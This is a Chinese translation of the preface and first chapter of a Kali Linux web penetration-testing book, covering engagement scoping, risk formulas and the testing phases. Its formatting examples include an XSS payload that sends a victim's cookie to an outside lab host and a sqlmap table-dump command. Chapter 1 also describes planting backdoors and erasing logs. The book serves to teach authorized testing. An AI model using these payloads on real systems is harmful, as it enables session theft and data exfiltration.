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问题



第 1 章　渗透测试概要及环境配置



1.1　Web应用渗透测试基础



1.2　渗透测试方法



风险计算



1.3　Kali渗透测试基础
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4.3　MITM代理服务器
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4.6.1　Johnny



4.6.2　hashcat和oclHashcat



4.6.3　samdump2



4.6.4　chntpw



4.6.5　Ophcrack



4.6.6　Crunch



4.7　Kali中的其他可用工具



4.7.1　Hash-identifier



4.7.2　dictstat



4.7.3　RainbowCrack（rcracki_mt）



4.7.4　findmyhash



4.7.5　phrasendrescher



4.7.6　CmosPwd



4.7.7 creddump



4.8　小结



第 5 章　身份认证攻击
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前言



Kali是专业安全人员及其他人员用来进行安全评估的渗透测试工具库，它基于Debian Linux。Kali提供了大量经过定制的工具集，用来找出和利用系统中的漏洞。本书会介绍于2013年3月13日发布的Kali Linux中的一些工具以及其他一些开源工具。

本书作为一本指南，专为那些希望将Kali引入Web应用渗透测试的专业人员写就。我们的目标是找出针对某项特定任务的最佳Kali工具，提供使用这些工具的细节知识，并基于专业实战经历举一些例子，说明可以获取哪些信息用于最终交付的报告。Kali包含各种各样的程序和工具。不过，本书着重介绍的是那些在本书出版时用于完成特定任务的杀手级工具。

本书各章是按现实中Web应用渗透测试的任务划分的。第1章从整体上介绍渗透测试的基本概念、专业服务策略、Kali Linux环境的背景知识，以及如何为本书介绍的内容配置Kali Linux。第2章~第6章介绍各种Web应用渗透测试的概念，包括一些配置和报告实例，用来说明我们介绍的内容能否帮你达成既定目标。

第7章介绍一些针对前面几章提到的易受攻击系统的补救措施。第8章介绍撰写报告的最佳实践，并提供一些范例，它们可作为撰写可执行水平报告的模板。本书这么组织的初衷，是希望能指引读者用Kali中包含的最好的工具来实践Web应用的渗透测试，并能为读者提供补救漏洞的步骤，说明如何专业地呈现抓取的数据。




本书内容




第1章“渗透测试概要及环境配置”
 介绍进行专业的渗透测试所需要的基础知识。内容包括渗透测试和其他服务之间的区别、方法论概要及其所针对的目标Web应用。这一章还将介绍配置本书示例要用的Kali Linux环境所需的步骤。


第2章“侦察”
 介绍收集目标信息的各种途径。内容集中在网上可以获取的主流免费工具，以及Kali Linux中Information Gathering
 分类下的工具。


第3章“服务器端攻击”
 主要介绍发现和利用Web服务器及Web应用中的漏洞。其中讲到的工具在Kali或其他开源工具套件中都能找到。


第4章“客户端攻击”
 主要介绍普通用户的主机系统。内容包括社会工程学、主机系统漏洞利用，以及密码攻击，这些都是保证主机系统安全最常用的方法。


第5章“身份认证攻击”
 主要分析用户和设备如何进行身份验证以访问Web服务。内容包括将管理身份认证会话的过程作为目标、在主机系统中存储数据，以及中间人攻击技术。这一章还会简要介绍SQL和跨站脚本攻击。


第6章“Web攻击”
 主要介绍如何欺骗Web服务器，以及通过漏洞利用工具（如浏览器漏洞利用、代理攻击和密码收集）对Web应用造成危害。这一章还将介绍使用拒绝服务攻击技术来中断服务的一些方法。


第7章“防御对策”
 介绍加固Web应用和Web服务器的一些最佳实践。内容包括安全基线、补丁管理、密码策略，以及如何防御前几章介绍的攻击方法。这一章还有一节集中介绍取证，因为正确地在受危害设备上进行调查以避免额外的负面作用也很重要。


第8章“渗透测试执行报告”
 介绍撰写专业的渗透测试后服务报告的一些最佳实践。内容包括为交付结果增值的方法概述，以及文档格式、用来撰写专业报告的文档模板等。




读者须知



读者应该对Web应用、网络基础知识以及渗透测试方法论有一些基本的了解。本书将会通过详尽的例子来介绍如何使用Kali Linux以及其他开源应用中提供的工具执行攻击。我们并不要求读者之前有使用BackTrack或类似程序的经验，有则更好。

构建实验环境和安装配置Kali Linux工具库的硬件要求会在第1章
 中介绍。




目标读者



本书面向专业的渗透测试人员，或期望最大程度使用Kali Linux来进行Web服务器或Web应用渗透测试的人员。如果你希望学习如何对Web应用进行渗透测试，并将发现的结果呈现给客户，那么本书正适合你。




排版约定



本书会用不同的格式区分不同的信息。下面通过例子逐一介绍。

正文中的代码这样表示：“举个例子，你可以将该配置文件称为My First Scan
 ，或是其他你中意的名称。”

代码块这样表示：



<script>document.write("<img src='http://kali.drchaos.com/var/www/xss_



lab/lab_script.php?"+document.cookie+"'>")</script>







命令行输入和输出这样表示：



sqlmap -u http://www.drchaous.com/article.php?id=5 -T tablesnamehere -U test --dump








新术语
 或关键词
 会用黑体。屏幕截图中的单词这样标记：“在我们点击了Execute
 按钮后，就收到了一个SQL注入。”


 这个图标表示警告或重要提醒。



 这个图标表示提示或技巧。




读者反馈



我们一贯欢迎读者的反馈意见。你可以告诉我们阅读此书的感受——喜欢哪些内容以及不喜欢哪些内容。这些反馈对于协助我们创作出真正对读者有所裨益的内容至关重要。

你可以将一般反馈以电子邮件形式发送到feedback@packtpub.com，并在邮件标题中注明书名。

如果你在某一方向很有造诣，并且愿意著书或参与合著，可以参考我们的作者指南：www.packtpub.com/authors
 。




客户支持



现在你已是Packt图书的尊贵读者了，为了让你的付出得到最大回报，我们还为你提供了其他许多方面的服务，请注意以下信息。



勘误



虽然我们会尽力保证内容的准确性，但错误在所难免。如果你在书中发现任何文字或代码错误，非常欢迎你将这些错误提交给我们，这样可以帮助我们在后续版本中改正错误，避免其他读者产生不必要的误解。如果你发现了错误，请访问http://www.packtpub.com/submit-errata
 ，选择相应图书，点击errata submission form
 （提交勘误）链接，然后填写具体的错误信息即可。只要你提交的勘误经过确认，勘误信息就会上传到我们的网站，或是添加到已有勘误列表中，显示在该书的勘误页面上
1

 。你可以通过在http://www.packtpub.com/support
 选择书名来查看该书所有已有勘误。



1

 要查阅或提交本书中文版勘误请访问
 
http://www.ituring.com.cn/book/1347

 。——编者注




盗版



对所有媒体来说，网络盗版都是一个严峻的问题。Packt很重视版权保护。如果你在网上发现我们公司出版物的任何非法复制品，请及时告知我们相关网址或网站名称，以便我们采取补救措施。
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第 1 章　渗透测试概要及环境配置



许多提供安全服务的机构会使用一些术语，如安全审计（security audit）、网络或风险评估（network or risk accessment），以及渗透测试（penetration testing）。这些术语在含义上有一些重叠。从定义上来看，审计是对系统或应用的量化的技术评估。安全评估意为对风险的评测，是指用以发现系统、应用和过程中存在的漏洞的服务。


渗透测试
 的含义则不只是评估，它会用已发现的漏洞来进行测试，以验证该漏洞是真实存在还是只是虚惊一场（假阳性）。举个例子，审计或评估利用的是扫描工具。这些工具会显示多个系统上的数百个可能的漏洞。而渗透测试则会采用恶意黑客的惯用手段来尝试对这些漏洞进行攻击。这样可以验证哪些漏洞真实存在，从而可以将实际的系统漏洞数降至少量。最有效的渗透测试是那些针对特定系统的有特定目标的测试。质胜于量，这才是检验成功渗透测试的标准。在目标性攻击中，相比大范围攻击，对单个系统进行枚举攻击更能真实反映系统安全中的问题以及处理突发情况的响应时间。只要仔细选取重要的目标，渗透测试人员就可以确定整体的安全基础架构及跟重要资产相关的风险。


 渗透测试并不能使网络更安全！

这里存在一种常见的误解，我们应该跟潜在客户解释一下。渗透测试评估的是既有安全系统的有效性。如果客户的安全工作本身做得比较一般，那么渗透测试也帮不了大忙。作为咨询师，我们建议将渗透测试服务作为验证既有系统安全性的一种手段。只要用户认为自己已经尽了最大努力来保障这些系统的安全，并且已经准备好评估确保系统安全的措施中有没有漏洞，就可以规划渗透测试了。

在商定渗透测试服务时，确定合理的工作范围非常重要。工作范围决定了哪些系统和应用应该放入目标列表，以及会用哪些工具来利用已发现的漏洞。最好的方法是在设计环节跟客户一起拟定一个可接受的、不对结果的价值造成影响的工作范围。

本书会一步步教你如何发现和利用Web应用的漏洞。其中，Kali Linux是BackTrack
 的进化版。本书介绍的内容包括对目标进行调查、识别和利用Web应用及其对应的客户端的漏洞、帮助Web服务防御常见攻击，以及为专业服务活动生成可交付的渗透测试结果。很多读者会因本书受益，无论是新人想成为渗透测试人员、刚开始使用Kali Linux而想了解Kali和BackTrack之间的差别，还是渗透测试的老手来了解新工具和新技术。

本章将逐一介绍支撑各种安全服务的基础知识，并提供专业渗透测试实践所需要的指引。内容包括区分渗透测试和其他服务、渗透测试方法论概述以及如何确立目标Web应用。本章还会简要介绍如何搭建Kali Linux测试环境和真实环境。




1.1　Web应用渗透测试基础



Web应用是指那些将Web浏览器当做客户端的应用。这个范围可宽可窄。Web应用正是因服务访问方便和系统可集中管理而流行起来的。访问Web应用的条件就是要符合行业中Web浏览器客户端的标准，这就简化了对Web服务提供商和访问Web应用的客户端的要求。

Web应用是在所有企业内使用最为广泛的一种应用。它们是基于因特网的应用中的绝大多数，成为了事实标准。仔细想想智能手机和平板电脑，其实这些设备上的大多数应用也是Web应用。这就给专业安全人员和善于利用这些系统的攻击者创造了一个全新的、范围更广阔的多目标环境。

Web应用服务的种类繁多、业务用途广泛，因此Web应用渗透测试的范围也要因地制宜。Web应用的核心层包括托管服务器、访问设备以及数据仓库。在渗透测试中，各层级之间的通信也应列入测试范围。

这里介绍一个确立Web应用渗透测试范围的例子。假如我们要对一台Linux服务器进行渗透测试，它托管着各种移动设备上运行的应用，那么最小的工作范围应包括评估Linux服务器环境（操作系统、网络配置等），评估服务器上托管的Web应用，评估系统和用户间的身份验证，以及访问服务器的客户端设备和这三个层级之间的通信。其他可以列入测试范围的领域包括员工如何获取设备、除了访问这个Web应用之外设备还用于哪些用途、周边的网络环境、系统的维护以及服务器系统的用户。这里举两个例子，说明为什么也要考虑测试范围内的其他领域。比如这些Linux服务器可能会因允许被其他途径影响的移动设备连接而泄露机密信息，或是通过社交媒体获取已通过身份验证的移动设备而泄露机密信息。

在第8章中，我们会提供确定Web应用渗透测试范围的一些模板。本章中可以付诸实践的例子是提供一些可勾选的调查表，来辅助客户一步步确定Web应用渗透测试工作范围的可能目标。每项工作范围都应该能根据客户的业务目标、期望执行的时间段、分配的资金及需要的结果而进行定制。如前所述，模板可作为辅助确定工作范围的工具。




1.2　渗透测试方法



行业里有一些进行渗透测试的建议步骤。第一步是找出项目的起始状态。最常见的用来定义起始状态的术语有黑盒测试
 （black box testing）、白盒测试
 （white box testing），或是介于二者之间兼具二者特色的灰盒测试
 （gray box testing）。

黑盒测试假定渗透测试人员先期对目标网络、公司流程或应用提供的服务没有了解。启动黑盒测试项目需要做大量的侦察，而且还需要长期跟踪。因为现实中的攻击者在发起攻击前可能会对目标进行长期学习。

作为专业安全人员，我们发现在确立渗透测试范围方面，黑盒测试存在一些问题。我们很难估量侦察阶段会持续多长时间，它完全取决于系统和你对环境的熟悉程度。这通常会带来计费问题。大多数情况下，客户都不会同意给你留一张空白支票让你在侦察阶段花费无限时间和资源。但如果没有投入足够的时间，你的渗透测试在开始前就已经失败了。而且这么做也不现实。动机明确的攻击者不可能跟专业的渗透测试人员面对相同的测试范围和计费限制。这也是为什么我们推荐灰盒测试而不是黑盒测试的原因。

白盒测试是当渗透测试人员对系统非常熟悉时采取的方法。白盒渗透测试的目标是明确定义好的，而测试报告的结果通常是有预期的。测试人员会接触目标的详细信息，如网络信息、系统类型、公司流程和服务等。白盒测试通常关注的都是某个特定业务对象（如满足特定需求），而不是普通评估。因此它持续的时间一般较短，具体取决于目标空间的限制。白盒测试任务可以降低信息收集（如侦察服务）的成本，从而降低渗透测试的费用。


 公司内部的安全团队通常会执行白盒测试。

灰盒测试介于黑盒和白盒测试之间。它通常出现的情况是，客户或系统所有者同意：在侦察环节中最终会发现一些不确定信息，但渗透测试人员可以忽略这部分信息。渗透测试人员会知道目标的一些基本情况；不过，系统内部工作原理和其他一些受限信息仍然不会公开给渗透测试人员。

真实的攻击者会在对目标实施攻击之前收集目标的一些信息。大多数攻击者（脚本小子或是下载并运行工具来执行攻击的那些人）不会选择随机目标。他们的动机都非常明确，而且他们通常会在尝试攻击之前跟目标进行一定程度的交互。对许多专业安全人员来说，灰盒测试是进行渗透测试的一个很有吸引力的选择，因为它跟攻击者实际采用的方法相似，而且侧重于发现漏洞过程而非侦察过程。

工作范围中定义了如何启动和执行渗透服务。启动渗透测试服务的过程应该包含信息收集的环节——用于记录目标环境并定义任务的界限（以避免不必要的侦察服务或是攻击任务范围外的系统）。完整定义的工作范围能够帮助服务提供商避免范围蔓延（即项目的范围不受控制地变更或是不断地扩大）、在期望时间内开展工作，并能在执行任务时提供更精确的结果。

真实的攻击并没有界限，如时间、资金、道德准则或是工具方面的界限。这也就意味着对渗透测试的范围进行限制可能无法匹配实际的场景。跟限定范围相比，如果渗透测试在攻击到关键的系统之前就已经结束，那么不设定范围可能永远也不会测试到关键漏洞。举个例子，渗透测试人员可能会以截获发往关键系统的用户凭据并成功访问这些系统来收尾，那么他就会漏测这些系统是否容易遭受网络攻击。在工作范围中加上哪些人应该知悉渗透测试也很重要。真实的攻击者可能会随时发起攻击，而且很可能是在人们最放松警惕的时候。

确立渗透测试工作范围的基本条件如下。




	

目标系统的定义
 。用以指定应该测试哪些系统，其中包括目标在网络中的位置、系统的类型以及这些系统的商业用途。



	

执行工作的时间表
 。测试应该何时开始以及何时达到特定目标的时间表。最佳实践是不要将时间范围限制到办公时间内。



	

如何测试目标
 。允许/不允许采用什么类型的测试方法？如扫描或漏洞利用。允许采用特定测试方法会引入什么样的风险？如因渗透测试中的尝试导致系统变得不可用会造成什么影响？例子包括扮成员工使用社交网络，对关键系统实施的拒绝服务攻击，或是在被攻陷的服务器上执行脚本。有些攻击方法可能更容易造成系统破坏。



	

工具和软件
 。在渗透测试过程中会用到哪些工具和软件？这很重要，但依然存在争议。许多专业安全人员认为，如果他们透露了自己的工具，就相当于泄露了自己的秘密武器。我们认为，除非你想采用广泛使用的商业产品并将这些产品输出的报告拼凑之后重新包装，否则就应该将用到的工具告诉客户。某些情况下，如果会利用漏洞，甚至应该告诉用户利用漏洞时使用的工具中对应的命令。这样漏洞利用就可以被重现，从而使得客户可以真正理解系统是如何被攻破的，以及发现该漏洞的利用有多难。



	

被通知方
 。谁知道该项渗透测试？是否提前通知到他们了？他们能在渗透测试开始前准备好吗？对渗透测试的响应是否是测试工作范围内说明的？如果答案是肯定的，那么在渗透测试开始前不通知安全运维团队就合乎情理。在对托管到第三方（如云服务提供商）的Web应用进行渗透测试时，这一点非常重要，因为服务提供商可能会受渗透测试的影响。



	

初始访问等级
 。在开始渗透测试前，你得到的是什么类型的信息和权限？渗透测试人员是通过互联网和/或局域网来访问服务器吗？最开始给你的是什么账户等级的访问权限？这个测试是针对每个目标的黑盒、白盒或灰盒任务吗？



	

目标空间定义
 。它会定义渗透测试中需要覆盖的指定的业务功能。举个例子，对销售使用的某个特定Web应用进行渗透测试，而不要动由同个服务器托管的其他应用。



	

标识关键运营区域
 。定义渗透测试中应该避让的系统，防止渗透测试给其带来负面影响。在用的身份认证服务器超过它的上限了吗？在开始对目标进行渗透测试前，明确关键资产非常重要。



	

对退出的定义
 。说明渗透测试对系统或进程的危害到什么程度很重要。数据应该从网络上删除，还是攻击者只是获取特定层级的非授权访问即可？



	

交付的结果
 。期望的最终报告是什么类型的？客户指定在完成渗透测试服务合约时应该达到什么目标？要确保目标不是无期限的，避免期望的服务出现范围蔓延。数据是分类数据还是为特定人群设定的？最终报告以什么形式交付？跟客户交付一个样板报告或是阶段性更新也很重要，这样在最终报告中就不会存在太大的分歧。



	

对补救的期望
 。记录漏洞时要把可能的补救措施一起记录下来吗？在执行渗透测试的过程中如果导致某个系统不可用了应该通知谁？许多渗透测试服务都不包括针对发现的问题的补救措施。





应该用于定义服务范围的一些服务定义如下所述。




	

安全审计
 。通过一组标准或基线来评测系统或应用的风险等级。标准意为强制规则，而基线意为最低的可接受安全等级。在安全实施中，标准和基线也还是沿用前面的定义，并且都会因行业、技术和过程的不同而不同。

大多数针对审计的安全需求都集中在通过一些官方审计（如准备应对公司或政府的审计）或是证明基线需求已经满足了一组规定的强制规则（如遵循HIPAA和HITECH在保护医疗记录方面的规定）。告诉潜在客户，如果在服务结束后审计未通过，你的审计服务还会附带提供一定的保险或保护，这很重要。还有记录审计服务中包含的补救类型也很重要。换句话说，你是否要在找出问题时提供补救措施方案或是修复问题。合规性审计远不止运行一个安全工具。它非常依赖标准的报告以及是否遵循了对该审计来说是可接受标准的方法。

许多情况中，安全审计会带给客户一种对安全的误解，即安全取决于审计的标准或基线。许多标准和基线的更新过程都会很漫长，以至于无法跟上今天网络世界中发现各种威胁的速度。我们建议你提供的安全服务要超过标准或基线要求的内容，以将目标的安全等级提高到一个能防范现实中威胁的可接受水平。服务还应该包括跟进客户、辅助他们落实补救措施，以将他们的安全水平提高到行业标准或基线之上。



	

漏洞评估
 。在这个过程中，专业安全人员会扫描网络设备、操作系统和应用软件，以便找出已知或未知的漏洞。漏洞可能是空白、错误或薄弱环节，具体取决于系统是如何设计、使用和保护的。如果漏洞被利用了，可能会导致非授权访问、权限提升、对目标系统的拒绝服务攻击，或者其他后果。







漏洞评估通常会在发现漏洞后立即停止，也就是说渗透测试人员不会对其执行攻击以验证它是否真实存在。漏洞评估交付的结果包括跟找到的所有漏洞相关的潜在风险以及可能的补救步骤。有很多解决方案，如Kali Linux。它可用来基于系统/服务器的类型、操作系统、开放的通信端口和其他方法扫描漏洞。漏洞评估可能是白盒、灰盒或黑盒，具体取决于任务的特性。







漏洞扫描仅在计算风险时有用。许多安全审计的缺点在于漏洞扫描的结果会让安全审计的任务加重许多，却没有提供任何实际价值。许多漏洞扫描器会报出假阳性的漏洞，或是找出并不存在的漏洞。出错的原因是它们未能正确识别操作系统，或是只能识别修复漏洞的特定补丁而不能识别累计补丁（聚合多个小补丁的大型补丁）或是软件的修复版本。将风险和漏洞对应起来可以为系统的易攻击性提供一个真实的定义和判断。许多情况中，这意味着自动工具生成的漏洞报告需要人工检查一下再提交。







客户还会想知道跟漏洞关联的风险以及降低发现的风险的预期成本。要想提供具体的成本值，理解如何计算风险很重要。







风险计算



理解如何计算跟找到的漏洞相关联的风险很重要，这样才能做出具体如何处理的决策。多数客户在决定风险的影响时都会参考CISSP的CIA三角。CIA分别指特定系统或应用的机密性（Confidentiality）、完整性（Integrity）和可用性（Availability）。在推算风险的影响时，客户必须将每个模块和漏洞整体独立评估，以此获得对该风险的真实认识，并推算可能造成的影响。

找到漏洞的风险是否可接受，或者把风险降到可接受的水平是否会超出控制成本，应该由客户来决定。客户不会花一百万美元来修复访客打印机上的一个安全风险；不过，他们非常愿意投入两倍的资金来保护存有公司机密数据的系统。


注册信息系统安全师
 （CISSP，Certified Information Systems Security Professional）课程中列出了用来计算风险的公式，如下所示。


单一威胁预期损失
 （SLE，Single Loss Expectancy）是资产价值
 （AV，Asset Value）单次损失的成本。单一威胁造成损失的百分比
 （EF，Exposure Factor）是指资产损失对整个组织的影响，比如因连接互联网的服务器当机而对营收造成的影响。客户在计算安全投入时应该计算单个资产的SLE来帮助确认应该投入的资金水平。如果一个SLE会给公司带来一百万美元的损失，在预算中考虑预留资金修复这个漏洞就合情合理。

单一威胁预期损失计算公式：



SLE

 =
 
AV

 *
 
EF



下一个重要的公式是指出SLE多长时间会发生一次。如果一个价值一百万美元的SLE一百万年才会发生一次，比如流星从天空坠落，那就没必要投资数百万在总部外面建一个穹型保护体。相反，如果一场火灾可能会造成相当于一百万美元的损失，而且可能每几年就会发生一次，那么投资防火系统就是明智之举。某个资产损失发生的频度我们称为单一威胁年发生率
 （ARO，Annual Rate of Occurrence）。


单一威胁年预期损失
 （ALE，Annualized Loss Expectancy）表示的是因风险造成的年度预期损失。举个例子，流星坠落的年预期损失非常低（一百年才一次），而火灾发生的概率更大，那么就应该在未来的投资中将后者计算出来用作保护建筑物。

单一威胁年预期损失计算公式：



ALE

 =
 
SLE

 *
 
ARO



最后，弄清跟某项资产相关联的风险，用以算出用来控制的投资也同样重要。它可以决定客户是否应该投资修复某项资产中的漏洞进行投资，以及该投资多少。

风险计算公式：


风险 = 资产价值 ×威胁 × 漏洞×影响


客户通常都没有风险管理计算公式中各个变量的值。这些计算公式可以当做指引系统来帮客户更好地理解他们该如何对安全进行投资。在前面的例子中，我把对流星雨和建筑物中火灾的估计值代入了计算公式，应该能用估计的美元值解释为什么投资防火系统要比投资金属穹型保护体来防止坠落物更好。

渗透测试是用类似于真实恶意攻击者采用的手法来攻击系统漏洞的方法。一般来说，在某个系统或网络上花光了用于加固安全的投资后，客户一般就会诉求于渗透测试，以验证各方面的安全投资。渗透测试可以是黑盒、白盒或是灰盒，具体取决于双方达成的工作范围。

渗透测试和漏洞评估的最主要区别在于渗透测试针对的是发现的漏洞，它会验证跟目标相关联的已知风险是否真的降低了。一旦资产所有者授权服务提供商针对目标上发现的漏洞实施攻击，对目标的漏洞评估也就成了渗透测试。通常，渗透测试服务的成本会高一些，因为这类服务需要更昂贵的资源、工具和时间来完成任务。一个常见的误区是认为渗透测试服务能够加强IT安全，因为这类服务的关联成本相比其他类型的安全服务更高。具体说明如下。




	渗透测试无法让IT网络更安全，因为渗透服务测试的是现有的安全部署！如果客户认为目标还不够安全，那就不应考虑渗透测试。

	渗透测试会给系统带来负面影响：在对第三方持有的资产进行渗透测试前，你需要从有效的授权机构那里拿到书面授权才行。没有有效授权的渗透测试会被授权机构看成非法攻击。授权文件中应包含谁会为渗透测试中造成的破坏负责，以及一旦系统被破坏应该联系谁来避免后续的负面效应。最佳实践是在执行预期设定水平的攻击之前提醒客户跟各个危害目标的方法相关联的所有潜在风险。这也是我们推荐进行小范围有针对性的渗透测试的原因之一。这方面很容易做到更有条理。作为常见的最佳实践，我们会收到确认信息——在最坏的情况下，客户可以使用备份或其他灾难恢复方法重置系统。



渗透测试预期的交付结果也应该在议定工作范围时明确指出。黑盒方法中获取跟目标有关的信息最常见的途径是通过社会工程，也就是通过攻击人群而不是系统。比如先面试一个企业内部的职位，那么一周后就能毫无阻挡地带出这些机密数据。如果客户想知道的是他们的Web应用在遭受远程攻击时的易攻击性怎样，那么他们可能不会认可这类交付的内容。确立一个明确的结尾目标也很重要，这样所有利益方都能理解什么时候可以认为渗透测试服务已经结束。通常，议定的交付内容会起到这个作用。

对服务提供商来说，任务的成功取决于交付渗透测试任务所耗费的时间和服务的盈利能力。如果过程能够更高效和精准，也就意味着用更少的服务获得更好的结果。交付内容的质量越高，服务就越贴近客户的期望，这样才能赢得更好的声誉，在未来才能发展更多的业务。出于这些原因，确立执行渗透测试服务的有效方法并确认如何报告发现的结果也很重要。




1.3　Kali渗透测试基础




Kali Linux
 是参照渗透测试的服务流程而设计的。不管出发点是白盒测试、黑盒测试还是灰盒测试，我们在用Kali或其他工具对目标进行渗透测试时都应遵循一定的步骤。



1.3.1　第一步：侦察



在发起攻击之前，应该了解尽可能多跟目标的环境和系统特征有关的信息。你掌握的能够辨识目标的信息越多，就越有可能找到最简便最快捷完成任务的方式。相比白盒测试，黑盒测试通常需要更多的侦察，因为它们没有提供有关目标的数据。侦察服务包括研究目标在互联网上的踪迹，监测资源、人和过程，扫描网络信息如IP地址和系统类型，对公共服务如服务支援中心和其他途径进行社会工程。


侦察
 是渗透测试服务的第一步，不管你是要验证已知信息还是要搜集新的有关目标的情报。侦察通常都是从基于工作范围定义目标环境开始。一旦确认目标，就需要研究如何收集有关目标的情报，比如开放哪些端口用来通信、它托管在哪里、提供给客户的服务类型等。这些数据有助于确立一个采用最简单方法取得期望结果的行动方案。侦察任务的交付内容应该包括需要攻击的所有目标资产清单、跟那些资产关联的应用、使用的服务以及可能的资产所有者。

Kali Linux提供了一个名为“Information Gathering
 ”的类别作为侦察工作的资源。其中包含的工具可用来研究网络、数据中心、无线环境和主机系统。

下面列出的是侦察任务的目标：




	找出目标；

	定义应用和商业用途；

	找出系统类型；

	找出可用端口；

	找出运行的服务；

	对信息进行社会工程；

	记录发现的内容。





1.3.2　第二步：目标测试



找出目标并且在侦察阶段对其做了研究后，下一步就是对目标进行漏洞测试。这时，渗透测试人员应该已经具备足够的有关目标的信息来选择如何分析潜在的漏洞或薄弱环节。比如要针对薄弱环节进行测试，你需要了解Web应用的运作方式、被识别的服务、通信的端口和其他信息。漏洞评估和安全审计通常都会在对目标进行测试的这个环节后结束。

通过侦察拿到细节信息有助于提高锁定潜在漏洞的精确度、缩短执行目标测试服务的执行时间，并有助于绕过现有的安全部署。举个例子，针对Web应用服务器运行通用漏洞扫描器很可能会引起资产所有者的注意，运行过程还要花费一些时间，并且只能生成一些有关系统和应用的常见信息。基于侦察阶段收集到的数据针对某个特定漏洞对服务器进行扫描，资产所有者可能更难发现，从而提供了不错的可利用潜在漏洞，缩短了执行时间。

针对漏洞进行的目标测试可以是手动的，也可以通过工具做到自动化。在Kali Linux中有一系列工具聚合到了一个名为Vulnerability Analysis
 的类别下面。这些工具覆盖的范围从访问网络设备到访问数据库都有。

下面列出的是目标测试的目标：




	测试出目标的薄弱环节；

	找出易受攻击的系统，并确定其优先级；

	将易受攻击系统和资产所有者进行映射；

	记录发现的内容。





1.3.3　第三步：漏洞利用



这一步会利用找到的漏洞来验证漏洞是否真实存在，并会验证能获得什么样的信息或是什么样的访问权限。漏洞利用是渗透测试服务和其他被动服务如漏洞评估和安全审计的主要区别。如果没有获得目标的资产所有者授权，漏洞利用和后续步骤都会带来法律后果。

这一步成功与否完全依赖于前面几步的投入。许多漏洞利用技术都是针对特定漏洞开发的。如果没有正确执行，可能会造成意外的后果。最佳实践是找出若干漏洞之后，基于最容易攻击的漏洞制定一个攻击策略。

漏洞利用可以是手动的，也可以是自动的，这要根据最终对象来确定。比如，自动运行SQL注入来获取某个Web应用的管理员访问权限，或是通过对服务支援中心工作人员进行人工的社会工程获取管理员的登录凭据。Kali Linux提供了一个名为Exploitation Tools
 的专门工具来进行目标漏洞利用，从对特定服务进行利用的工具到社会工程工具包，应有尽有。

下面列出的是漏洞利用的目标：




	漏洞利用；

	拿到权限；

	抓取非授权数据；

	积极地进行社会工程；

	攻击其他系统或应用；

	记录发现的信息。






1.3.4　第四步：提升权限



获得目标的访问权限并不保证就能完成渗透测试任务的目标。许多情况下，利用有漏洞的系统只能拿到访问目标数据和资源的有限权限。攻击者必须提升权限才能抓取重要内容。这些内容可以是敏感数据、关键的基础设施等。


提升权限
 包括找出和破解密码、用户账户和非授权的IT空间。举个例子：拿到受限的用户访问权限后，找出包含管理员登录凭据的shadow文件，通过密码破解获得管理员密码，然后用管理员权限访问内部应用系统。

Kali Linux包含了很多用来提升权限的工具，分布在Password Attacks
 和Exploitation Tools
 这两个类别中。由于这些工具中的大多数都带有获得初始访问权限和提升权限的方法，它们是按工具集来进行聚合的。

下面列出的是提升权限的目标：




	获得更高级别的访问系统和网络的权限；

	获取其他用户的账户信息；

	使用提升过的权限来访问其他系统；

	记录发现的信息。






1.3.5　第五步：保持访问



最后一步是通过建立其他到系统的入口来保持访问。可能的话，将渗透留下的痕迹也一并隐藏。渗透测试工作很有可能触发防御功能，最终导致渗透测试人员获取的访问网络的途径被加固。最佳实践是建立其他途径来访问目标系统，以防主要路径被关闭。替代性的访问方法有后门、新建管理员账户、加密过的隧道和新的网络访问通道。

要保持在目标系统中的访问，另一个重要的方面是删除渗透证据。这会使得检测攻击更加困难，从而降低来自安全防范团队的回应度。这部分工作包括擦除用户日志、掩盖现有的访问通道和删除篡改的痕迹（如在进行渗透测试时留下的错误消息）。

Kali Linux提供了一个名为Maintaining Access
 的类别，主要用来保持对目标的访问。其中很多工具都用于建立到目标的各种形式的后门。

下面是保持访问的目标：




	建立到目标网络的多种访问方法；

	删除未授权访问的证据；

	修复在漏洞利用中受影响的系统；

	如有必要，注入假数据；

	通过加密或其他方式隐藏通信方式；

	记录发现的信息。






1.4　Kali Linux简介



BackTrack的作者发布了一个全新的高级渗透测试Linux发行版，名为Kali Linux。BackTrack 5将会是BackTrack发行版的最后一个主版本。为了跟上网络安全的挑战和现代测试的需要，BackTrack的作者决定创建一个新的平台，于是，Kali Linux于2013年3月13日诞生并发布。Kali Linux基于Debian，其文件系统遵循FHS标准。

相比BackTrack，Kali有很多优势。它比BackTrack多了许多自带的更新版本的工具。这些工具都来自于Debian的软件包仓库，而且每天都会同步四次。也就是说，用户拿到的是最新的软件包更新和安全修复版本。新的遵循FHS标准的文件系统使得大多数工具都能从文件系统中的任意位置开始运行。Kali还支持定制、无人值守安装、可自由选择桌面环境，以及其他一些自带的优秀功能。

Kali Linux可以从http://www.kali.org/
 下载并安装。




1.5　Kali系统环境配置



Kali Linux可以通过多种途径下载，最常见的就是下载ISO映像文件。ISO映像文件分为32位和64位两种。

如果你计划在虚拟机中（如VMware）使用Kali Linux，那么有预构建好的VM映像文件。直接下载VM映像文件的好处在于它已经预载了VMware工具。VM映像文件是带有物理地址扩展（Physical Address Extension，PAE）支持的32位映像文件。理论上说，相比传统的32位操作系统，PAE内核允许系统访问更多的系统内存。虽然操作系统界有一些具备一定影响力的人物尚在争论PAE内核是否真的有用，但如果你计划在虚拟机环境中使用Kali Linux，本书作者推荐使用VM映像文件。



1.5.1　从外部存储媒体上运行Kali Linux



Kali Linux可以从外部存储媒体源（如U盘或DVD）上运行，而不必安装到主机的硬盘上。这种方式很容易使用，不过它的性能和可操作性都会受限。Kali Linux必须从远程源上加载程序，这可能会影响性能，还有可能一些应用或硬件设置不能正常工作。使用只读存储媒体不允许保存经过定制的设置，而这些设置可能是让Kali Linux正常运行所必需的。我们强烈推荐将Kali Linux安装到主机硬盘。



1.5.2　安装Kali Linux



在计算机上安装Kali Linux非常简单，跟安装其他操作系统差不多。首先，你需要兼容的计算机硬件。Kali支持i386、amd64和ARM（armel和armhf）平台。硬件要求会在下面的清单中列出，不过我们建议使用至少三倍于最低要求的硬件平台。总的来说，如果有更多的可用内存并安装在较新的机器上，Kali Linux会运行得更好。下载Kali Linux，然后将ISO文件烧录到DVD上，或是准备一个装有Kali Linux Live的U盘作为安装媒体。如果你的计算机上没有DVD光驱或是USB端口，可以参考Kali Linux的网络安装。

下面列出的是最低安装需求。




	安装Kali Linux需要最少8 GB的硬盘空间。

	对于i386和amd64架构，最少要有512 MB内存。

	CD-DVD光驱/USB启动支持。

